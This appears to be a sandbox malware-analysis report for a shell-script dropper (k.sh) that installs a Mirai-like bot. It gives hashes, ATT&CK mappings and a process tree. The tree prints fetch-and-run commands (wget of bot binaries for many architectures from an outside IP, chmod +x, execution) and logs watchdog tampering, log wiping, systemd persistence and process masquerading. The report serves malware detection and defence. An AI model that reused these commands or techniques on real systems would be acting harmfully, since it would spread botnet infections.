487d71cde80b2bae91c6f2b408703c5c4d57d91653a28f725f776e58fff03a61

Analysis

max time kernel
146s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01/09/2026, 20:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
k.sh
Size 2KB
Sample260901-zlsnfaef88
SHA256 487d71cde80b2bae91c6f2b408703c5c4d57d91653a28f725f776e58fff03a61
MD5 7afa14a7c1cd7feec217313e24f6f84a
SHA1 3eec018999f3ce64ad592224ac1d166b73a642fc
SHA512 0b983ea33f0b3f8b89893b593970c46839093327a737baa4075ee9f5d42101ff465017d832efe0e0906a2c343d9ac612d102cf0095fbfd0213766d6a082b6628
TLSH
T1D7518EC917420F703CA39DE733BA9C053588AEEF54C66E19A5F938F4868ED81B081B53
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
682	chmod
755	chmod
882	chmod
928	chmod
689	chmod
702	chmod
732	chmod
762	chmod
829	chmod
836	chmod
859	chmod
905	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/WTF	683	k.sh
/tmp/WTF	690	k.sh
/tmp/WTF	704	k.sh
/tmp/WTF	735	k.sh
/tmp/WTF	756	k.sh
/tmp/WTF	763	k.sh
/tmp/WTF	830	k.sh
/tmp/WTF	837	k.sh
/tmp/WTF	860	k.sh
/tmp/WTF	883	k.sh
/tmp/WTF	906	k.sh
/tmp/WTF	929	k.sh

Modifies Watchdog functionality 1 TTPs 10 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Traces itself 5 IoCs

Traces itself to prevent debugging attempts

pid	Process
837	WTF
860	WTF
883	WTF
906	WTF
929	WTF

Deletes log files 1 TTPs 5 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/.network-dispatch	WTF
File truncated	/var/log/.network-dispatch	WTF
File truncated	/var/log/.network-dispatch	WTF
File truncated	/var/log/.network-dispatch	WTF
File truncated	/var/log/.network-dispatch	WTF

Modifies systemd 2 TTPs 4 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/network-dispatch.service	WTF
File opened for modification	/etc/systemd/system/network-dispatch.service	WTF
File opened for modification	/etc/systemd/system/network-dispatch.service	WTF
File opened for modification	/etc/systemd/system/network-dispatch.service	WTF

Write file to user bin folder 15 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/.network-dispatch	WTF
File opened for modification	/usr/sbin/.network-dispatch	WTF
File opened for modification	/usr/bin/.network-dispatch	WTF
File opened for modification	/usr/bin/.network-dispatch	WTF
File opened for modification	/usr/sbin/.network-dispatch	WTF
File opened for modification	/usr/sbin/.network-dispatch	WTF
File opened for modification	/usr/local/bin/network-dispatch	WTF
File opened for modification	/usr/local/bin/network-dispatch	WTF
File opened for modification	/usr/local/bin/network-dispatch	WTF
File opened for modification	/usr/bin/.network-dispatch	WTF
File opened for modification	/usr/sbin/.network-dispatch	WTF
File opened for modification	/usr/local/bin/network-dispatch	WTF
File opened for modification	/usr/local/bin/network-dispatch	WTF
File opened for modification	/usr/bin/.network-dispatch	WTF
File opened for modification	/usr/sbin/.network-dispatch	WTF

Writes file to system bin folder 5 IoCs

description	ioc	Process
File opened for modification	/sbin/.network-dispatch	WTF
File opened for modification	/sbin/.network-dispatch	WTF
File opened for modification	/sbin/.network-dispatch	WTF
File opened for modification	/sbin/.network-dispatch	WTF
File opened for modification	/sbin/.network-dispatch	WTF

Changes its process name 15 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	irqbalance	838	WTF
Changes the process name, possibly in an attempt to hide itself	[kworker/u:0]	838	WTF
Changes the process name, possibly in an attempt to hide itself	atd	840	WTF
Changes the process name, possibly in an attempt to hide itself	docker	861	WTF
Changes the process name, possibly in an attempt to hide itself	[kblockd/1]	861	WTF
Changes the process name, possibly in an attempt to hide itself	rsyslogd	863	WTF
Changes the process name, possibly in an attempt to hide itself	docker	884	WTF
Changes the process name, possibly in an attempt to hide itself	[kworker/u:1]	884	WTF
Changes the process name, possibly in an attempt to hide itself	dbus-daemon	886	WTF
Changes the process name, possibly in an attempt to hide itself	irqbalance	907	WTF
Changes the process name, possibly in an attempt to hide itself	[kblockd/1]	907	WTF
Changes the process name, possibly in an attempt to hide itself	atd	909	WTF
Changes the process name, possibly in an attempt to hide itself	nginx	930	WTF
Changes the process name, possibly in an attempt to hide itself	[kthrotld/0]	930	WTF
Changes the process name, possibly in an attempt to hide itself	irqbalance	932	WTF

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 59 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/status	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/650/comm	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/status	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/650/comm	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/self/fd/.nd	WTF
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/650/comm	WTF
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/fd/.nd	WTF
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/status	WTF
File opened for reading	/proc/self/status	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/650/comm	WTF
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/fd/.nd	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/650/comm	WTF
File opened for reading	/proc/self/status	WTF
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/self/fd/.nd	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/cmdline	systemctl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
688	cat
685	wget

Writes file to shm directory 9 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/run/shm/.network-dispatch	WTF
File opened for modification	/run/shm/.network-dispatch	WTF
File opened for modification	/run/shm/.network-dispatch	WTF
File opened for modification	/dev/shm/.network-dispatch	WTF
File opened for modification	/run/shm/.network-dispatch	WTF
File opened for modification	/dev/shm/.network-dispatch	WTF
File opened for modification	/dev/shm/.network-dispatch	WTF
File opened for modification	/dev/shm/.network-dispatch	WTF
File opened for modification	/dev/shm/.network-dispatch	WTF

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot.mips	wget
File opened for modification	/tmp/bot.x86_64	wget
File opened for modification	/tmp/.font-unix/.nd	WTF
File opened for modification	/tmp/bot.arm7	wget
File opened for modification	/tmp/bot.arc	wget
File opened for modification	/tmp/bot.mpsl	wget
File opened for modification	/tmp/.ICE-unix/.nd	WTF
File opened for modification	/tmp/bot.arm5	wget
File opened for modification	/tmp/.font-unix/.nd	WTF
File opened for modification	/tmp/.ICE-unix/.nd	WTF
File opened for modification	/tmp/.X11-unix/.nd	WTF
File opened for modification	/tmp/bot.ppc	wget
File opened for modification	/tmp/bot.i686	wget
File opened for modification	/tmp/.network-dispatch	WTF
File opened for modification	/tmp/.font-unix/.nd	WTF
File opened for modification	/tmp/.X11-unix/.nd	WTF
File opened for modification	/tmp/WTF	k.sh
File opened for modification	/tmp/.network-dispatch	WTF
File opened for modification	/tmp/bot.x86	wget
File opened for modification	/tmp/bot.i486	wget
File opened for modification	/tmp/bot.arm	wget
File opened for modification	/tmp/.ICE-unix/.nd	WTF
File opened for modification	/tmp/.font-unix/.nd	WTF
File opened for modification	/tmp/.X11-unix/.nd	WTF
File opened for modification	/tmp/.X11-unix/.nd	WTF
File opened for modification	/tmp/bot.arm6	wget
File opened for modification	/tmp/.network-dispatch	WTF
File opened for modification	/tmp/.network-dispatch	WTF
File opened for modification	/tmp/.ICE-unix/.nd	WTF
File opened for modification	/tmp/.network-dispatch	WTF

/tmp/k.sh
/tmp/k.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:650
- /usr/bin/wget
  wget http://46.151.182.200/bot.x86
  2⤵
  - Writes file to tmp directory
  PID:656
- /usr/bin/curl
  curl -O
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:677
- /tmp/http:/46.151.182.200/bot.x86
  http://46.151.182.200/bot.x86
  2⤵
  PID:679
- /bin/cat
  cat bot.x86
  2⤵
  PID:681
- /bin/chmod
  chmod +x bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/WTF
  ./WTF k
  2⤵
  PID:683
- /usr/bin/wget
  wget http://46.151.182.200/bot.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:685
- /usr/bin/curl
  curl -
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:686
- /bin/cat
  cat bot.mips
  2⤵
  - System Network Configuration Discovery
  PID:688
- /bin/chmod
  chmod +x bot.mips bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/WTF
  ./WTF k
  2⤵
  PID:690
- /usr/bin/wget
  wget http://46.151.182.200/bot.arc
  2⤵
  - Writes file to tmp directory
  PID:692
- /usr/bin/curl
  curl -O
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:695
- /tmp/http:/46.151.182.200/bot.arc
  http://46.151.182.200/bot.arc
  2⤵
  PID:699
- /bin/cat
  cat bot.arc
  2⤵
  PID:700
- /bin/chmod
  chmod +x bot.arc bot.mips bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/WTF
  ./WTF k
  2⤵
  PID:704
- /usr/bin/wget
  wget http://46.151.182.200/bot.i486
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:724
- /bin/cat
  cat bot.i486
  2⤵
  PID:730
- /bin/chmod
  chmod +x bot.arc bot.i486 bot.mips bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/WTF
  ./WTF k
  2⤵
  PID:735
- /usr/bin/wget
  wget http://46.151.182.200/bot.i686
  2⤵
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:752
- /bin/cat
  cat bot.i686
  2⤵
  PID:754
- /bin/chmod
  chmod +x bot.arc bot.i486 bot.i686 bot.mips bot.x86 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/WTF
  ./WTF k
  2⤵
  PID:756
- /usr/bin/wget
  wget http://46.151.182.200/bot.x86_64
  2⤵
  - Writes file to tmp directory
  PID:758
- /usr/bin/curl
  curl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:759
- /bin/cat
  cat bot.x86_64
  2⤵
  PID:761
- /bin/chmod
  chmod +x bot.arc bot.i486 bot.i686 bot.mips bot.x86 bot.x86_64 k.sh systemd-private-3e0d9a1bbf404cc9a1333f61bbde86c0-systemd-timedated.service-fzYDQq WTF
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/WTF
  ./WTF k
  2⤵
  PID:763
- /usr/bin/wget
  wget http://46.151.182.200/bot.mpsl
  2⤵
  - Writes file to tmp directory
  PID:765
- /usr/bin/curl
  curl -
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:826
- /bin/cat
  cat bot.mpsl
  2⤵
  PID:828
- /bin/chmod
  chmod +x bot.arc bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/WTF
  ./WTF k
  2⤵
  PID:830
- /usr/bin/wget
  wget http://46.151.182.200/bot.arm
  2⤵
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:833
- /tmp/http:/46.151.182.200/bot.arm
  http://46.151.182.200/bot.arm
  2⤵
  PID:834
- /bin/cat
  cat bot.arm
  2⤵
  PID:835
- /bin/chmod
  chmod +x bot.arc bot.arm bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/WTF
  ./WTF k
  2⤵
  - Modifies Watchdog functionality
  - Traces itself
  - Deletes log files
  - Modifies systemd
  - Write file to user bin folder
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  - Writes file to shm directory
  - Writes file to tmp directory
  PID:837
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:843
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:843
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:843
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:843
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:843
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:843
- /usr/bin/wget
  wget http://46.151.182.200/bot.arm5
  2⤵
  - Writes file to tmp directory
  PID:839
- /usr/bin/curl
  curl -
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:856
- /bin/chmod
  chmod +x bot.arc bot.arm bot.arm5 bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/WTF
  ./WTF k
  2⤵
  - Modifies Watchdog functionality
  - Traces itself
  - Deletes log files
  - Modifies systemd
  - Write file to user bin folder
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  - Writes file to shm directory
  - Writes file to tmp directory
  PID:860
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:866
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:866
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:866
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:866
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:866
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:866
- /usr/bin/wget
  wget http://46.151.182.200/bot.arm6
  2⤵
  - Writes file to tmp directory
  PID:862
- /usr/bin/curl
  curl -
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:879
- /bin/chmod
  chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/WTF
  ./WTF k
  2⤵
  - Modifies Watchdog functionality
  - Traces itself
  - Deletes log files
  - Modifies systemd
  - Write file to user bin folder
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  - Writes file to shm directory
  - Writes file to tmp directory
  PID:883
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:889
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:889
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:889
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:889
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:889
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:889
- /usr/bin/wget
  wget http://46.151.182.200/bot.arm7
  2⤵
  - Writes file to tmp directory
  PID:885
- /usr/bin/curl
  curl -
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:902
- /bin/chmod
  chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i486 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 k.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/WTF
  ./WTF k
  2⤵
  - Modifies Watchdog functionality
  - Traces itself
  - Deletes log files
  - Modifies systemd
  - Write file to user bin folder
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  - Writes file to shm directory
  - Writes file to tmp directory
  PID:906
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:912
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:912
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:912
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:912
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:912
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:912
- /usr/bin/wget
  wget http://46.151.182.200/bot.ppc
  2⤵
  - Writes file to tmp directory
  PID:908
- /usr/bin/curl
  curl -O
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:925
- /tmp/http:/46.151.182.200/bot.ppc
  http://46.151.182.200/bot.ppc
  2⤵
  PID:926
- /bin/chmod
  chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i486 bot.i686 bot.mips bot.mpsl bot.ppc bot.x86 bot.x86_64 k.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/WTF
  ./WTF k
  2⤵
  - Modifies Watchdog functionality
  - Traces itself
  - Deletes log files
  - Write file to user bin folder
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  - Writes file to shm directory
  - Writes file to tmp directory
  PID:929

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.network-dispatch

Path /dev/mqueue/.network-dispatch
Size 4KB
SHA256 b8cdee7f3618c1abd84f787630a543e1d55960f24d19611197f78ce3c57b2489
MD5 03f327a40baca5e9a97d5f1735fef322
SHA1 b952b941ba0862967dbc1ed787c19fd3f243aee0
SHA512 a424d43bb7ee32ef3a13c4ff04482eef6d83fd4eb932ec9200cce41f04ea12191ce11d23d77ec1aebfdced26b7cb71c561b06cb0bd1b6cc38bf7e1fe16cab06b
TLSH
T10B81FB9BBC915536C9DA24B7977AC244378B07FED3F3F103DE199B34269A2054A37211
MD5 SHA1 SHA512 TLSH

Submit Download

network-dispatch.service

Path /etc/systemd/system/network-dispatch.service
Size 228B
SHA256 f0a4522d9cacf37bc711ef07c7a07d2627ac3fb2a25e13e1695db14896da415e
MD5 93d4d91e631d6cc85d978e996f3316b9
SHA1 9fc4ded5573510502cbb231b2c8d3ab5fc2d5503
SHA512 c0b9d9ac33434e11a8ccebf386492e4baa7206cb61968694e06d4eb911eaee4ffa74e7b106a402bfb8bfd1c3b725fd29f9d59b8fb090b643dbb3f42a3db409fe
TLSH
T149D0A7A2DAB05091CA1618764F977B50894521401D8EA2BD0A952F4546D2245502DA5E
MD5 SHA1 SHA512 TLSH

Submit Download

WTF

Path /tmp/WTF
Size 504KB
SHA256 2bdcd6e8a368c28488926a4773bf4cc2d5840ced8cb6499e417c3743cec7c44c
MD5 4085ced7dc070dfee358d0a451b8da8e
SHA1 c4254ca17a8576a342cabb0a63c3aff613e1abf6
SHA512 444abd49355866832abdd53650f20130f76b86592bf4158753af87ee57f9cd6ae3d625896ccca85fa42660414b1fc73f8fe0dfda21e7fc1837a77a77b026dc22
SSDEEP 6144:t1AE3/zdPnNBDYOuIr60vXuOD/UBQgRZH8EarDUetWrcDb/:t1VbbzG0/UBQoHNalDb/
TLSH
T1AFB42A4D56B2DFADF268CB3043B32D2A9A6513A731D3E185E09DE1221B3124D54AFF78
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 304KB
SHA256 f8a45723a8bcd8f0858b958a9d61f38a7b657949ffe3d43038be0e7f562c24d0
MD5 0222f5ae5e47a8d7c43767f3c1e72eee
SHA1 7a3ec4f3a29ddd94740809cd4ee1ac9a3a63ba6b
SHA512 638a946b882e73798fe66fd82c4e4a356dee323bac75255ece0cff3ba8713a142cd27a9e35a18b735b7b81223de89ddecc8b933e1126f5605b699687458aa7b5
SSDEEP 3072:WcgGXJPKt/8KLOCH3OuSmqmygka90XZ1POfyvgw0+aRqHtxVKmaWNgiQV+kAXA5+:Wz98KLOCgx3a9KPY4
TLSH
T1CA64198893F1E3DEE158EA7463127C0A9E728637759772C7315EA57323E724809E9E30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 315KB
SHA256 20e0b568507ba65e67672f860905880e5fea56654285f9b258675b5eae473b01
MD5 8a2e9b737579d78a71a0b9d201f63cbe
SHA1 b63f83741abe6cf86164680fd2756e8ef3fb3648
SHA512 73d9c02f31c1f6a2031af090ec2577ae17ebb8ef5caef3d68afac254d349725442d5f154309276c8e3cf315b263713bcdb47ff07eda2784e1dd4c45677bb20c1
SSDEEP 6144:XWTiZ18rO7anIGu/PVnELI6gcTEPLfQLca9hd:GW1gxIGuX11LfQwa9hd
TLSH
T1A164194892F2F3FEE114E97163157D1B5C7246323493B58AF38EBA7363B618085E9A31
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 508KB
SHA256 238e26f7c0dacde86534e8f1a3564d0ae5ede8c791cc446c381a89c17952e6eb
MD5 7f95efadc921998a3cad01662d8d789d
SHA1 d13975ba59f2e749d146b72ce3db6101ed6296f6
SHA512 412dc869cfee73358b410054f7e431296eb9c3a4e39f1db0aeea6a7fe73b135dd7c6d18789a05a383793f93d9e870485515ee2180c087dc91d50c7f877269db0
SSDEEP 6144:BCuTZSww087Z5XJni7Y2ksqMzWY9PlqIg9Jcbo394IiSH0NFSa9uj5a9u61D:BHk7ji7Y2ksJX2394IloSa9uj5a9uSD
TLSH
T1B2B4FA88A1F1E3CED1D4EA75B319790E7E220736B0D73146A15EAB7323EB15509FE920
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot.x86

Path /tmp/bot.x86
Size 358KB
SHA256 c5badbc7eb2ff4f904156ed9b517c22c7dfba122e540dfbf7f0d4156d7a9976d
MD5 c4d00ea7e5fddfc2323e9b7dd7afe177
SHA1 18a58fcf7a71baaaa45d09212069d17c474cb1e5
SHA512 1fb3990f0059e2e44500abcd8f61b8e592e2daffbb17b3dee478dd63ad054bfe6d2862c1cc611cb7f47ef301720cd7a2439aef7ee1c8bfde9bb0aa5776d085f8
SSDEEP 6144:nH9s8rMULV7n5cEUnMHDWEur8A0kKOla9IK6:H9aY75pHDygAVa9IK6
TLSH
T15D74288892F2F3FEF154D9716311BD1B5C7346363097B186B39EAA3353B618086E9A31
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

network-dispatch

Path /usr/local/bin/network-dispatch
Size 410KB
SHA256 3cf3edeeeac605be90d682b402ca8f34841633b05b45be6be2c50d30e5563fb2
MD5 1fa8ac0e04837d1f63379b240473f9b9
SHA1 8808ac00d9edaeaac0d3c564060215b1e1701d24
SHA512 e39e5999f041d4777f806b69744737230e28eafa45d1e703bbdadd2d2e55953b770c07e08533d882d254fd9d0de3c63c7000355dc9183ea3c8cff9fa37b726d7
SSDEEP 6144:BCuTZSww087Z5XJni7Y2ksqMzWY9PlqIg9Jcbo394IiSH0NFSa9uj:BHk7ji7Y2ksJX2394IloSa9uj
TLSH
T1CF940C88A1F1E7CED1D4EA75B31D794E3A260335F0DB3146A51EAB7333EB05509BA920
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads